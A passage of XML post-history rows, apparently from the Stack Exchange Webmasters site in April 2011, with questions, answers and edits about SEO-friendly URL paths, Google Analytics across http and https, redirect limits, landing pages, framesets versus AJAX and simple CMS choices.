Comscore has a panel of people that they also use to estimate traffic, and they use that panel to determine an average number of cookies per person.  With more people using mobile devices (our mobile usage is 15%), it makes sense that unique cookies overstate the number of unique people." />
  <row Id="27871" PostHistoryTypeId="2" PostId="12225" RevisionGUID="1937f246-23a1-4c39-9f7d-603bcece84cd" CreationDate="2011-04-14T18:04:01.610" UserId="6854" Text="Say for example we got an eshop, with a category &quot;car spare parts&quot; that includes a category called &quot;tires&quot; which has our product in there.&#xD;&#xA;We have created a menu on the left where the visitor clicks on &quot;car spare parts&quot; then clicks on sub-category &quot;tires&quot; and then he visits the tires product listing.&#xD;&#xA;&#xD;&#xA;The actual path of each product on the &quot;tire&quot; page, does it have to be eshop.com/car_spare_parts/tires or is it ok if the path is &quot;eshop.com/tires&quot;.&#xD;&#xA;&#xD;&#xA;Will the second solution cause any problems to the eshop's SEO?&#xD;&#xA;&#xD;&#xA;Thanks in advance ;)" />
  <row Id="27872" PostHistoryTypeId="1" PostId="12225" RevisionGUID="1937f246-23a1-4c39-9f7d-603bcece84cd" CreationDate="2011-04-14T18:04:01.610" UserId="6854" Text="Does the url path have to be same with the actualy categories we have setup?" />
  <row Id="27873" PostHistoryTypeId="3" PostId="12225" RevisionGUID="1937f246-23a1-4c39-9f7d-603bcece84cd" CreationDate="2011-04-14T18:04:01.610" UserId="6854" Text="&lt;url&gt;&lt;path&gt;&lt;certificate-generation&gt;" />
  <row Id="27874" PostHistoryTypeId="2" PostId="12226" RevisionGUID="c8887c78-bca0-4331-b28c-419e6f60b45f" CreationDate="2011-04-14T18:05:06.120" UserId="6853" Text="From the virtual server is not possible to access resources on the primary server. Therefore, customers who place you on the same physical server as part of its VPS will not be able to access data on your VPS. Due to this, a dedicated virtual server favorably with Shared-hosting an increased level of security.&#xD;&#xA;The owner of a dedicated virtual server has all the permissions (the right root) for administration. This allows a particular VPS realize the optimal environment for your project and maximize its performance.&#xD;&#xA;Dedicated virtual server gives you all the benefits of a dedicated server, but has at the same order of magnitude lower cost. Therefore, virtual machines are typically used in large projects as an inexpensive alternative to dedicated server.&#xD;&#xA;http://www.vpswebserver.com" />
  <row Id="27875" PostHistoryTypeId="2" PostId="12227" RevisionGUID="ece1a010-b2f2-4266-abaf-b0710d910359" CreationDate="2011-04-14T18:06:53.527" UserId="6855" Text="On some browsers, they show the website more expanded, removing the white space on the sides of the page. This has the effect of making everything seem more cluttered and bigger.&#xD;&#xA;&#xD;&#xA;Is there something in my code that means they do this?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="27876" PostHistoryTypeId="1" PostId="12227" RevisionGUID="ece1a010-b2f2-4266-abaf-b0710d910359" CreationDate="2011-04-14T18:06:53.527" UserId="6855" Text="Some browsers zoom in on website, removing whitespace on sides?" />
  <row Id="27877" PostHistoryTypeId="3" PostId="12227" RevisionGUID="ece1a010-b2f2-4266-abaf-b0710d910359" CreationDate="2011-04-14T18:06:53.527" UserId="6855" Text="&lt;code&gt;" />
  <row Id="27878" PostHistoryTypeId="17" PostId="12229" RevisionGUID="8d517982-5200-4baa-ae3f-4596d0f3bcf4" CreationDate="2011-04-14T18:08:03.050" UserId="-1" Comment="from http://stackoverflow.com/questions/5640912/google-analytics-https-www-example-com-vs-http-www-example-com/5641414#5641414" Text="" />
  <row Id="27879" PostHistoryTypeId="2" PostId="12229" RevisionGUID="97352d5d-1e60-4e3d-9595-a3d469e293ea" CreationDate="2011-04-12T20:44:19.493" UserDisplayName="Daniel" Text="I think you can put both under the same profile. I do the same for http/https combinations. To really track internal navigation you can call the *trackPageview* part via Javascript as an **onClick** event on the specific links. There are some resources in the web to handle this (e.g. [here][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.viget.com/engage/how-to-track-internal-links-in-google-analytics/" />
  <row Id="27880" PostHistoryTypeId="2" PostId="12228" RevisionGUID="1daaa31e-7c4e-40b4-9d0d-994424240522" CreationDate="2011-04-12T20:01:14.570" UserId="5947" Text="I'm trying to set up tracking on a project that I'm working on.&#xD;&#xA;&#xD;&#xA;The main site is at http://www.example.com/*  &#xD;&#xA;The order page is at https://www.example.com/index.php&#xD;&#xA;&#xD;&#xA;Currently they have two different profiles under separate domains:  &#xD;&#xA;Main Site:   UA-aaaaaaaa-1  &#xD;&#xA;Order Site:  UA-aaaaaaaa-2&#xD;&#xA;&#xD;&#xA;This isn't giving me the results I want. When on the order page, I would like to see where on the main page users came from. Also, when on the main page I'd like to see when they navigate away to the order page, right now I can't tell the difference between an exit and order page click.&#xD;&#xA;&#xD;&#xA;I'm not even getting the main site as a referrer to the order page.&#xD;&#xA;&#xD;&#xA;What am I doing wrong? Should they be under one profile? Or two like I have them. Should I be setting the domain name `(_setDomainName)`? Should I be using `_link()` when linking to the order page. I can't find the right resource for what I need.&#xD;&#xA;&#xD;&#xA;Please and thank you" />
  <row Id="27881" PostHistoryTypeId="1" PostId="12228" RevisionGUID="1daaa31e-7c4e-40b4-9d0d-994424240522" CreationDate="2011-04-12T20:01:14.570" UserId="5947" Text="Google Analytics | https://www.example.com vs http://www.example.com" />
  <row Id="27882" PostHistoryTypeId="3" PostId="12228" RevisionGUID="1daaa31e-7c4e-40b4-9d0d-994424240522" CreationDate="2011-04-12T20:01:14.570" UserId="5947" Text="&lt;ssl&gt;&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="27883" PostHistoryTypeId="17" PostId="12228" RevisionGUID="879042ea-7144-40c8-bd12-0c7c329bd0cd" CreationDate="2011-04-14T18:08:03.050" UserId="-1" Comment="from http://stackoverflow.com/questions/5640912/google-analytics-https-www-example-com-vs-http-www-example-com" Text="" />
  <row Id="27884" PostHistoryTypeId="25" PostId="12221" RevisionGUID="2b21c57c-7f5f-4307-a5e7-d3fb478df196" CreationDate="2011-04-14T18:09:12.110" Comment="http://twitter.com/#!/StackWebmasters/status/58592654153363456" />
  <row Id="27885" PostHistoryTypeId="2" PostId="12230" RevisionGUID="b64c7dd1-2720-475d-9c56-9da1fb4dd875" CreationDate="2011-04-14T18:30:12.677" UserId="4389" Text="I'm researching the market for image composition services for ecommerce software.  Systems that will manage high resolution images for product variations (multiple colors, different text/logo on the same image of a lady, etc.)&#xD;&#xA;&#xD;&#xA;Specific questions.&#xD;&#xA;&#xD;&#xA;- Scene7 seems to be the leader in this space. Are there lower cost alternatives to Scene7?&#xD;&#xA;&#xD;&#xA;- What sort of costs **can** I expect for this kind of hosted service? Scene7 doesn't list prices, which leads me to believe they have metrics to size up each client and maximize profits. &#xD;&#xA;&#xD;&#xA;- Outside of the software as a service market, are their open-source and/or commercial self hosted solutions?&#xD;&#xA;&#xD;&#xA;- Not necessary, but any services with out of the box Magento integration jump to the front of the line. " />
  <row Id="27886" PostHistoryTypeId="1" PostId="12230" RevisionGUID="b64c7dd1-2720-475d-9c56-9da1fb4dd875" CreationDate="2011-04-14T18:30:12.677" UserId="4389" Text="Image Composition Services for Ecommerce" />
  <row Id="27887" PostHistoryTypeId="3" PostId="12230" RevisionGUID="b64c7dd1-2720-475d-9c56-9da1fb4dd875" CreationDate="2011-04-14T18:30:12.677" UserId="4389" Text="&lt;ecommerce&gt;&lt;magento&gt;&lt;image-hosting&gt;" />
  <row Id="27888" PostHistoryTypeId="2" PostId="12231" RevisionGUID="0857c7c8-e81f-498c-8ed7-d3ac6df2a6b0" CreationDate="2011-04-14T19:07:40.760" UserId="6857" Text="there is great document http://www.orchardproject.net/docs/ but at first i suggest you change your mind to use this cms... there is great cms only for shop in all languages ;)" />
  <row Id="27889" PostHistoryTypeId="2" PostId="12232" RevisionGUID="862f9a96-148f-4c06-9c5a-88ff25ab4cb9" CreationDate="2011-04-14T19:10:52.440" UserId="6857" Text=" 1. check user is valid ( but not this i&#xD;&#xA;    think ... i didnt blogs check it ;d&#xD;&#xA;    )&#xD;&#xA; 2. blog system can grab all mail and use them :D&#xD;&#xA; 3. some blog use something like gravatar and its ok :D and good&#xD;&#xA; 4. i think some site can answer to comment with mail and this is good &#xD;&#xA;&#xD;&#xA;;)" />
  <row Id="27890" PostHistoryTypeId="2" PostId="12233" RevisionGUID="191b8a19-b68b-414a-92f8-1c285d6d4666" CreationDate="2011-04-14T19:30:15.653" UserId="3766" Text="Say you're a professional web developer. Your cousin/brother/friend calls you up and says, &quot;Hey bro, can you build me a little web site for my business?&quot;&#xD;&#xA;&#xD;&#xA;You really don't want to do it, but you don't want to let him down either. What do you recommend? I'm looking for an easy-to-use, well-supported tool for building your own simple web sites. Preferably something web-based and hosted, so he has to do as little as possible to get started." />
  <row Id="27891" PostHistoryTypeId="1" PostId="12233" RevisionGUID="191b8a19-b68b-414a-92f8-1c285d6d4666" CreationDate="2011-04-14T19:30:15.653" UserId="3766" Text="So your cousin wants you to build him a web site..." />
  <row Id="27892" PostHistoryTypeId="3" PostId="12233" RevisionGUID="191b8a19-b68b-414a-92f8-1c285d6d4666" CreationDate="2011-04-14T19:30:15.653" UserId="3766" Text="&lt;web-development&gt;" />
  <row Id="27893" PostHistoryTypeId="2" PostId="12234" RevisionGUID="27a14267-39cf-48a2-90e4-0da39dfe9ebc" CreationDate="2011-04-14T19:32:07.827" UserId="6795" Text="use easy cms like wordpress... its easy and greate also " />
  <row Id="27894" PostHistoryTypeId="2" PostId="12235" RevisionGUID="9489f947-c6c8-461c-afd0-1d880e5cc47c" CreationDate="2011-04-14T19:56:27.877" UserId="6858" Text="One technique that always works for me is to ask them for the content they want to have on the site, and offer to start coding as soon as they give it to you. Rarely do they actually give you the content, so there's no work involved on your side.&#xD;&#xA;&#xD;&#xA;If they do then give you the content... suggest that he uses something like Tumblr or Wordpress.com - no hosting or domain name hassle for you, no cost for him. Just register it for him, install a theme he likes, and you're done. Google Sites is another option here.&#xD;&#xA;&#xD;&#xA;If he's willing to pay a little bit for hosting and a domain name, Dreamhost have a automated install system for both Drupal and Wordpress. Get a long term registered domain, and set that up.&#xD;&#xA;&#xD;&#xA;There are loads of free themes available for both Drupal and Wordpress. There is loads of documentation for how to write/edit content, so you shouldn't need to provide much training.&#xD;&#xA;" />
  <row Id="27895" PostHistoryTypeId="2" PostId="12236" RevisionGUID="b8d5939c-4c0b-4377-ac30-28bb4f46a59e" CreationDate="2011-04-14T20:10:38.480" UserId="4502" Text="I've used &lt;a href=&quot;http://www.clippersoft.net/&quot;&gt;mySimpleAds&lt;/a&gt; for a client in the past, and they were happy with it. As the name suggests, though, it may be missing features versus what you were using in OpenX(which was complicated, so...). You'll have to do that for yourself." />
  <row Id="27896" PostHistoryTypeId="2" PostId="12237" RevisionGUID="640f753e-b938-4e63-abc0-7d4331d558a7" CreationDate="2011-04-14T20:25:07.627" UserId="4786" Text="A more discript Uri is probably better, provided its not unnecessairly long.&#xD;&#xA;&#xD;&#xA;Something to take into account, in the example you provide you have `tires` within spare parts, what about new tires where do they go? What if in the future you start selling bike tires?&#xD;&#xA;&#xD;&#xA;I would probably do something like this to maximize data available:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    eshop.com/car_spare_parts/tires/ -- all tires flagged for spare parts and tires&#xD;&#xA;    eshop.com/car_new_parts/tires/   -- all tires flagged for new parts and tires&#xD;&#xA;    eshop.com/tires                  -- all parts flagged tires, both 'new' + 'spare'&#xD;&#xA;&#xD;&#xA;This gives you the flexibility to include more &quot;main&quot; categories with sub-categories while giving users a way to simply see &quot;all the tires you sell.&quot;" />
  <row Id="27897" PostHistoryTypeId="2" PostId="12238" RevisionGUID="baacfe38-94f2-43fb-9eb6-015951fb0e70" CreationDate="2011-04-14T20:25:51.090" UserId="5727" Text="It's being used now sometimes purely to display your avatar via Gravatar" />
  <row Id="27898" PostHistoryTypeId="2" PostId="12239" RevisionGUID="2b488569-c3ea-4779-bc99-487a900c4e2d" CreationDate="2011-04-14T20:30:43.667" UserId="4064" Text="It depends, will you show &quot;Car Spare Parts&quot; along with &quot;tires&quot; inside your page Title, headers (h1..hn) and content? If so, you should include &quot;car spare parts&quot; because you will include your keywords inside URL:&#xD;&#xA;domain.com/car-spare-parts/tires or domain.com/car-spare-parts-tires (it's better using dash instead of underscore, it's easier to read). The second folder level maybe will help to create a visual (and maybe physical) hierarchy of category and subcategory, or category and product.&#xD;&#xA;&#xD;&#xA;If you will not include Car Spare Parts inside your page's Title, headers (h1..hn) and content, then you could go using shorter url like domain.com/tires." />
  <row Id="27899" PostHistoryTypeId="2" PostId="12240" RevisionGUID="393b3d7b-d453-4a96-a360-9853db5d14ec" CreationDate="2011-04-14T20:30:51.373" UserId="6860" Text="Some time ago (about 12 months) I created a number of targeted pages for our main product site.  Out main product can be called several different things and clearly it's not possible to optimize our home page for all of them so we created new pages called 'secondary-term-1.htm' and 'secondary-term-2.htm'.  These contained unique content and at the time I linked to them our site map and our blog.  And that was it.&#xD;&#xA;&#xD;&#xA;A year later these pages are now ranking quite well and I want to expand on this concept and create new landing pages for other terms.  I believe these landing pages are useful to people searching using different terms and relating this back to our product. I also think they are useful in explaining how our product is useful to different market segments.&#xD;&#xA;&#xD;&#xA;What is the current thinking with respect to Google as far as these landing pages go?  Are we likely to be penalized in some way?  This site is our main money maker and I am ultra cautious with what we can and cannot do on it." />
  <row Id="27900" PostHistoryTypeId="1" PostId="12240" RevisionGUID="393b3d7b-d453-4a96-a360-9853db5d14ec" CreationDate="2011-04-14T20:30:51.373" UserId="6860" Text="Google and Landing Pages" />
  <row Id="27901" PostHistoryTypeId="3" PostId="12240" RevisionGUID="393b3d7b-d453-4a96-a360-9853db5d14ec" CreationDate="2011-04-14T20:30:51.373" UserId="6860" Text="&lt;seo&gt;&lt;google&gt;&lt;landing-page&gt;" />
  <row Id="27902" PostHistoryTypeId="5" PostId="12235" RevisionGUID="c9c6bf33-b639-4ce5-bf37-76fed94c4b60" CreationDate="2011-04-14T20:42:32.470" UserId="6858" Comment="added a bit of info to the dreamhost section" Text="One technique that always works for me is to ask them for the content they want to have on the site, and offer to start coding as soon as they give it to you. Rarely do they actually give you the content, so there's no work involved on your side.&#xD;&#xA;&#xD;&#xA;If they do then give you the content... suggest that he uses something like Tumblr or Wordpress.com - no hosting or domain name hassle for you, no cost for him. Just register it for him, install a theme he likes, and you're done. Google Sites is another option here.&#xD;&#xA;&#xD;&#xA;If he's willing to pay a little bit for hosting and a domain name, first get a long term registered domain, and set that up. You don't want to be renewing their domain every year. Then, Dreamhost have a automated install system for both Drupal and Wordpress. The automated-install on Dreamhost keeps it upgraded, applying any security fixes. If he quibbles about the cost, refer him back to Wordpress.com or suggest he finds somebody that will do it cheaper. Explain the security aspects as 'if the code is insecure there is a good chance all your customers are going to be infected by a virus from your website'. FUD is your friend there.&#xD;&#xA;&#xD;&#xA;There are loads of free themes available for both Drupal and Wordpress. There is loads of documentation for how to write/edit content, so you shouldn't need to provide much training.&#xD;&#xA;" />
  <row Id="27903" PostHistoryTypeId="25" PostId="12233" RevisionGUID="d715a1df-df53-4651-a904-f233e4cd643d" CreationDate="2011-04-14T21:09:12.947" Comment="http://twitter.com/#!/StackWebmasters/status/58637957480972288" />
  <row Id="27904" PostHistoryTypeId="2" PostId="12241" RevisionGUID="b2c98eb7-014f-4bad-b607-b9b225e5620f" CreationDate="2011-04-14T21:18:04.013" UserId="1112" Text="If your page does five 301 redirects to get to the final page I'm guessing that google bot will follow it all the way there. However, there must be a limit at which point google bot says &quot;hey, that's enough, I'm not going any further.&quot; What is that limit?" />
  <row Id="27905" PostHistoryTypeId="1" PostId="12241" RevisionGUID="b2c98eb7-014f-4bad-b607-b9b225e5620f" CreationDate="2011-04-14T21:18:04.013" UserId="1112" Text="How many 301 redirects will the google bot handle?" />
  <row Id="27906" PostHistoryTypeId="3" PostId="12241" RevisionGUID="b2c98eb7-014f-4bad-b607-b9b225e5620f" CreationDate="2011-04-14T21:18:04.013" UserId="1112" Text="&lt;google&gt;" />
  <row Id="27907" PostHistoryTypeId="2" PostId="12242" RevisionGUID="049a3450-304c-4c4a-ba49-91244bbabf9a" CreationDate="2011-04-14T21:24:28.013" UserId="4064" Text="If you stick with Google guidelines you will be fine. If you have 5 pages targeting different terms about the same thing and their content is different there will be no problem; if you create 100 pages, copy-paste content and then replace just the keyword, maybe you will get in troubles. &#xD;&#xA;&#xD;&#xA;[http://www.google.com/support/webmasters/bin/answer.py?answer=35769][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769" />
  <row Id="27908" PostHistoryTypeId="2" PostId="12243" RevisionGUID="11795c94-5c3e-4b32-862f-726c20ad0f01" CreationDate="2011-04-14T21:32:46.227" UserId="4752" Text="I should preface this with the statement that I ***do*** understand that HTML Framesets are on their way out, and that they have all sorts of SEO/accessibility concerns.&#xD;&#xA;&#xD;&#xA;That being said, I've been considering building a web-based API app, and I really like the format of the [Java][1] and [AS3][2] APIs. They both use framesets in what I consider to be a reasonable manner, and are the most readable API's that I know of. The [AS3 CS4 API][3] no longer uses frames, but is verrrryyyyyy slooowwwwww.&#xD;&#xA;&#xD;&#xA;My other consideration was to make an AJAX-driven (jQuery) site so that I don't have to reload the entire API class/package list on each page load. It would likely reduce the data-transfer to be less than the frameset version.&#xD;&#xA;&#xD;&#xA;I feel that the frameset format will simplify many of the features that the AJAX version would have to re-create (resizable regions, targeted links, etc). Also, the frameset version wouldn't require javascript.&#xD;&#xA;&#xD;&#xA;Am I being foolish to think that this could be a *useful* application of framesets?&#xD;&#xA;&#xD;&#xA;[1]: http://download.oracle.com/javase/1.5.0/docs/api/&#xD;&#xA;[2]: http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/&#xD;&#xA;[3]: http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/index.html&#xD;&#xA;&#xD;&#xA;###Could someone with 300+ rep please add the tag `frame` or `frameset`?" />
  <row Id="27909" PostHistoryTypeId="1" PostId="12243" RevisionGUID="11795c94-5c3e-4b32-862f-726c20ad0f01" CreationDate="2011-04-14T21:32:46.227" UserId="4752" Text="Simple Frameset Website vs Complex AJAX Website?" />
  <row Id="27910" PostHistoryTypeId="3" PostId="12243" RevisionGUID="11795c94-5c3e-4b32-862f-726c20ad0f01" CreationDate="2011-04-14T21:32:46.227" UserId="4752" Text="&lt;ajax&gt;" />
  <row Id="27911" PostHistoryTypeId="2" PostId="12244" RevisionGUID="efafe3e5-0be9-4cf3-ba23-3f8cb2dfc122" CreationDate="2011-04-14T21:43:44.797" UserId="6858" Text="Most of the purpose of frames can be done much more effectively, accessibly and beautifully with CSS and jQueryUI.&#xD;&#xA;&#xD;&#xA;With jQueryUI you can set the height of a div to be the height of the window (or whatever you want it to be). You can use resizable, draggable, etc, to make the content more functional than frames.&#xD;&#xA;&#xD;&#xA;Think of apps like Netvibes and Gmail, and what they would look and feel like if they were built with frames instead." />
  <row Id="27912" PostHistoryTypeId="2" PostId="12245" RevisionGUID="0213d22a-1314-42e1-b2dd-fec8b131ee5f" CreationDate="2011-04-14T21:48:03.437" UserId="6858" Text="ImageMagick is free - I have used it to stamp 'preview' on pictures before, make dynamic fancy text out of people's names (it was wrapped around an orange in cloves, before you ask why I didn't just use @font-face) amongst other things.&#xD;&#xA;&#xD;&#xA;You install ImageMagick yourself and integrate it with your own service. A lot of platforms and CMSs provide plugins for it." />
  <row Id="27913" PostHistoryTypeId="2" PostId="12246" RevisionGUID="39846331-b48f-471c-8a29-cf0d8617a08b" CreationDate="2011-04-14T21:49:41.757" UserId="5362" Text="Are you asking about a specific website, websites in general or browsers?&#xD;&#xA;&#xD;&#xA;I've never heard of any browser that zooms in automatically other than the iOS version of Safari.&#xD;&#xA;&#xD;&#xA;I've also never heard of client side website code that intentionally causes the browser to zoom in.  If it exists, I'm not sure why you'd do that.  Typically if you want bigger text, you just specify a larger font size in the CSS.  If you want no white-space on the sides, you create a design without white-space that expands/contracts with the window.&#xD;&#xA;&#xD;&#xA;Some people like using the zoom feature of their browser... on some browsers it simply makes the text bigger, on other browsers it actually zooms in.  Sometimes, the browser's zoom feature breaks the original design.&#xD;&#xA;" />
  <row Id="27914" PostHistoryTypeId="2" PostId="12247" RevisionGUID="46642b8e-678d-4984-903b-e59a93dbdca5" CreationDate="2011-04-14T21:56:22.747" UserId="6858" Text="They recommend no more than 5, although they don't specifically say they won't follow more than that. Plus, if it's a lot, it will hit your page load time, which will have a seriously negative impact on your SEO.&#xD;&#xA;&#xD;&#xA;&gt; Quentin, Vancouver: How many chained 301 redirects does Google not &quot;like&quot;?&#xD;&#xA;&#xD;&#xA;&gt;  Nathan J: It's ok to chain a few together; I would avoid doing a whole bunch, like 20 or 30. :)&#xD;&#xA;&#xD;&#xA;&gt; JohnMu: As far as I know, the HTTP 1.0 standard allows for a maximum of 5 redirects for a URL. That said, search engines might treat it in different ways, so I'd recommend reducing the redirects to a minimal number.&#xD;&#xA;&#xD;&#xA;[Google Webmaster Group][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://groups.google.com/group/Google_Webmaster_Help/web/q-a-from-the-3rd-live-chat-oct-2008?pli=1" />
  <row Id="27915" PostHistoryTypeId="2" PostId="12248" RevisionGUID="9225e4ec-9d6f-4a44-9c8f-9ddaffde608d" CreationDate="2011-04-14T22:27:19.317" UserId="6858" Text="You kind of answered your own question just by thinking about the general internet. Intranets, like normal websites, should be:&#xD;&#xA;&#xD;&#xA; - Useful - the user should be able to do something they cannot do elsewhere, or be able to do it better&#xD;&#xA; - Usable - users should be able to find the content they want, interact with it, and achieve their goals.&#xD;&#xA; - Attractive - enough said, though 'on-brand' also helps here by reinforcing internal marketing.&#xD;&#xA; - Most importantly: justify the expense on your intranet as the amount of value it's going to give back.&#xD;&#xA;&#xD;&#xA;For example, say one goal is to use it as a document library for tech support to be able to find product information placed by engineering, then you will need to&#xD;&#xA;&#xD;&#xA; 1. Make it easy for engineering to place the content.&#xD;&#xA; 2. Make it easy for tech support to find the content.&#xD;&#xA; 3. Analyse whether the cost of having a system like this is the most efficient and effective way of having this process in the first place.&#xD;&#xA;&#xD;&#xA;Too often, people build intranets like they are 'free', when in fact they can be quite expensive by the time development and maintenance is taken into account. So it's good to see you actually thinking about this stuff." />
  <row Id="27916" PostHistoryTypeId="2" PostId="12249" RevisionGUID="59e80206-6655-4158-901d-9ff6d9bf9140" CreationDate="2011-04-14T22:59:17.527" UserId="4064" Text="Did you read Google Adsense Policies? If not, go read them and try to figure out if your site is violating their policies, if they've sent you &quot;Unacceptable content&quot; as rejection cause, you should review and modify your content.&#xD;&#xA;[Adsense Policies][1]&#xD;&#xA;&#xD;&#xA;If your website is not written in english, is this language supported by Adsense?&#xD;&#xA;[Adsense supported languages][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/support/bin/answer.py?answer=48182&#xD;&#xA;  [2]: https://www.google.com/adsense/support/bin/answer.py?answer=9727" />
  <row Id="27917" PostHistoryTypeId="5" PostId="12243" RevisionGUID="1e54bfc3-155f-42ee-b47f-76d81e6c559e" CreationDate="2011-04-14T23:11:32.550" UserId="1064" Comment="Added frameset tag as requested" Text="I should preface this with the statement that I ***do*** understand that HTML Framesets are on their way out, and that they have all sorts of SEO/accessibility concerns.&#xD;&#xA;&#xD;&#xA;That being said, I've been considering building a web-based API app, and I really like the format of the [Java][1] and [AS3][2] APIs. They both use framesets in what I consider to be a reasonable manner, and are the most readable API's that I know of. The [AS3 CS4 API][3] no longer uses frames, but is verrrryyyyyy slooowwwwww.&#xD;&#xA;&#xD;&#xA;My other consideration was to make an AJAX-driven (jQuery) site so that I don't have to reload the entire API class/package list on each page load. It would likely reduce the data-transfer to be less than the frameset version.&#xD;&#xA;&#xD;&#xA;I feel that the frameset format will simplify many of the features that the AJAX version would have to re-create (resizable regions, targeted links, etc). Also, the frameset version wouldn't require javascript.&#xD;&#xA;&#xD;&#xA;Am I being foolish to think that this could be a *useful* application of framesets?&#xD;&#xA;&#xD;&#xA;[1]: http://download.oracle.com/javase/1.5.0/docs/api/&#xD;&#xA;[2]: http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/&#xD;&#xA;[3]: http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/index.html&#xD;&#xA;" />
  <row Id="27918" PostHistoryTypeId="6" PostId="12243" RevisionGUID="1e54bfc3-155f-42ee-b47f-76d81e6c559e" CreationDate="2011-04-14T23:11:32.550" UserId="1064" Comment="Added frameset tag as requested" Text="&lt;ajax&gt;&lt;frameset&gt;" />
  <row Id="27919" PostHistoryTypeId="5" PostId="12196" RevisionGUID="e9681853-2247-45f4-ac06-438afef2e560" CreationDate="2011-04-14T23:12:42.550" UserId="4786" Comment="fixed list formatting" Text="I build a website either by simple HTML/CSS, or I build one using Drupal or Wordpress, for modern PC browsers. Now, I want a mobile-friendly version of the site. What is considered some of the best ways to do this?&#xD;&#xA;&#xD;&#xA;My thoughts:&#xD;&#xA;&#xD;&#xA; 1. Detect the mobile browser from a list and redirect to a subdomain/dir that has been designed for mobiles&#xD;&#xA;&#xD;&#xA; 2. Build the site to be simulatenously viewable by all browsers, mobile or not (using fluid layouts)?&#xD;&#xA;&#xD;&#xA; 3. Using a CMS, install a module that does the work for you.&#xD;&#xA;&#xD;&#xA;I'd really like to know how some of the big, popular sites implement it and what you all consider to be the proper way. I understand that NY Times has its own app for this, but I consider that to be overboard for obvious reasons." />
  <row Id="27920" PostHistoryTypeId="24" PostId="12196" RevisionGUID="e9681853-2247-45f4-ac06-438afef2e560" CreationDate="2011-04-14T23:12:42.550" Comment="Proposed by 4786 approved by 1064 edit id of 114" />
  <row Id="27921" PostHistoryTypeId="5" PostId="12198" RevisionGUID="6c306ae1-bfab-4897-8af8-db4b11115771" CreationDate="2011-04-14T23:12:57.387" UserId="4786" Comment="dropped greeting, fixed wording" Text="I was wondering if php-gd was working on godaddy linux shared hosting.&#xD;&#xA;&#xD;&#xA;I will need to handle photos to a minimum extent so I can resize profile pictures and pictures posted." />
  <row Id="27922" PostHistoryTypeId="24" PostId="12198" RevisionGUID="6c306ae1-bfab-4897-8af8-db4b11115771" CreationDate="2011-04-14T23:12:57.387" Comment="Proposed by 4786 approved by 1064 edit id of 118" />
  <row Id="27923" PostHistoryTypeId="5" PostId="12225" RevisionGUID="a8e67ab5-ffc6-41d3-8a44-197be9a7135d" CreationDate="2011-04-14T23:13:03.813" UserId="4786" Comment="removed signature per FAQ" Text="Say for example we got an eshop, with a category &quot;car spare parts&quot; that includes a category called &quot;tires&quot; which has our product in there.&#xD;&#xA;We have created a menu on the left where the visitor clicks on &quot;car spare parts&quot; then clicks on sub-category &quot;tires&quot; and then he visits the tires product listing.&#xD;&#xA;&#xD;&#xA;The actual path of each product on the &quot;tire&quot; page, does it have to be eshop.com/car_spare_parts/tires or is it ok if the path is &quot;eshop.com/tires&quot;.&#xD;&#xA;&#xD;&#xA;Will the second solution cause any problems to the eshop's SEO?" />
  <row Id="27924" PostHistoryTypeId="24" PostId="12225" RevisionGUID="a8e67ab5-ffc6-41d3-8a44-197be9a7135d" CreationDate="2011-04-14T23:13:03.813" Comment="Proposed by 4786 approved by 1064 edit id of 121" />
  <row Id="27925" PostHistoryTypeId="5" PostId="12209" RevisionGUID="786028b6-205e-483a-9ce7-c5541856081a" CreationDate="2011-04-14T23:13:35.497" UserId="4786" Comment="dropped greeting" Text="Does anyone know where to find tutorial how to make an Internet shop by using Orchard CMS? I'm new at web programming, but I have an experience in .Net technologies." />
  <row Id="27926" PostHistoryTypeId="24" PostId="12209" RevisionGUID="786028b6-205e-483a-9ce7-c5541856081a" CreationDate="2011-04-14T23:13:35.497" Comment="Proposed by 4786 approved by -1 edit id of 115" />
  <row Id="27927" PostHistoryTypeId="5" PostId="12209" RevisionGUID="3809449d-d1cf-449a-9a93-b8c62ed9912b" CreationDate="2011-04-14T23:13:35.747" UserId="1064" Comment="Minor mechanics of language changes" Text="Does anyone know where to find tutorial how to make an Internet shop by using Orchard CMS? &#xD;&#xA;&#xD;&#xA;I'm new at web programming, but I have experience with .Net technologies." />
  <row Id="27928" PostHistoryTypeId="5" PostId="12203" RevisionGUID="4ae1f9bb-2b7b-4075-9079-a9d5371a13d5" CreationDate="2011-04-14T23:14:51.737" UserId="4786" Comment="dropped greeting" Text="We are developing an XML DITA content system that allows users to view their search results in a paginated form and navigate through these results backwards and forwards, page by page and we have placed the &quot;next&quot; and &quot;previous&quot; links in this format:&#xD;&#xA;&#xD;&#xA;**Previous Search Result** &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; **Next Search Result**&#xD;&#xA;&#xD;&#xA;Our customer has now asked for the order of these two links to be reversed so that the Next Search result precedes the Previous Search result.&#xD;&#xA;&#xD;&#xA;**Next Search Result** &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; **Previous Search Result**&#xD;&#xA;&#xD;&#xA;We and our customers are both English speaking companies and we feel that the obvious and correct way to display these links is the back link to the left and the forward link to the right. The same as if you were reading a book and wanted to go to the next page. Or the undo and redo buttons in applications eg Microsoft Word.&#xD;&#xA;&#xD;&#xA;But, I have seen some people state that the primary function, which is Next, should be the first button/link as this is what users will be looking for and using most. Also for those users with screen readers or who are tabbing through the page it is easier this way round. But.... &quot;Previous&quot; being placed to the left of &quot;Next&quot; is such a strongly accepted convention in Western culture that I feel changing it will confuse a considerable proportion of our users.&#xD;&#xA;&#xD;&#xA;In the same vein, we could ask about the form buttons: clear and submit. I always expect the clear button to be on the left and the submit submit to be on the right but as filling out a form is a linear process and I always Tab through the fields, would it not make more sense to have the submit before clear so you can tab once from the last field and submit?&#xD;&#xA;&#xD;&#xA;I know this is a bit of a subjective question, but it is key to web usability and I was wondering 